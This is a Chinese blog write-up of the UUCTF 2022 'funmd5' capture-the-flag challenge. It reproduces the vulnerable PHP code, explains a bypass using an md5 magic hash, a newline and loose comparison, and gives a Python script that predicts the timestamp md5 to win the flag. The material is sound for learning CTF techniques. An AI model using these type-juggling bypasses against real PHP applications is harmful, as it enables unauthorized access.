nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[UUCTF 2022 新生赛]funmd5

前言

代码审计的思路主要来自https://blog.csdn.net/bossDDYY师傅

代码审计

<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
    $sub=substr($time,-1);
                  $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    if(preg_match('/0e/',$md5[0])){
        $md5[0]=substr($md5[0],$sub);
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
            echo "well!you win again!now flag is yours.<br>";
            echo $flag;
        }
        else{
            echo $md5[0];
            echo "oh!no!maybe you need learn more PHP!";
        }
    }
    else{
        echo "this is your md5:$md5[0]<br>";
        echo "maybe you need more think think!";
    }
}
else{
    highlight_file(__FILE__);
    $sub=strlen($md5[0]);
    echo substr($guessmd5,0,5)."<br>";
    echo "plase give me the md5!";
}
?>

审计完代码我们发现需要的条件是 if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5

1.$md5[0]==md5($md5[0])肯定是个固定值,但是我们观察

$sub=substr($time,-1);

$md5[0]=substr($md5[0],$sub),会截取字符串,为了保证我们字符串的完整,就需要从1开始取,这样就完整了

再看

$time=time();
$guessmd5=md5($time);其实这个我们能够控制,因为只需要在python脚本获取time,将time md5编码,那么就一定为真,不确定性就在第一步,需要time最后一位为1

编写脚本

import hashlib,time,requests
def guess_md5():
    while True:
        url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={hashlib.md5(str(int(time.time())).encode()).hexdigest()}"
        resp = requests.get(url=url)
        if "win" in resp.text:
            print(resp.text)
            return
        time.sleep(1)

guess_md5()

关键步骤解释

str(hashlib.md5(str(int(time.time())).encode()).hexdigest())

time.time()获取当前时间戳

int(time.time())转化为整形,因为时间戳有小数

在php中时间是这样的2024-01-25T08:03:52.png
在python中2024-01-25T08:04:24.png

str(int(time.time()))转化为字符,方便md5编码

hashlib.md5($A.encode()).hexdigest()


本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [UUCTF 2022 新生赛]funmd5

评论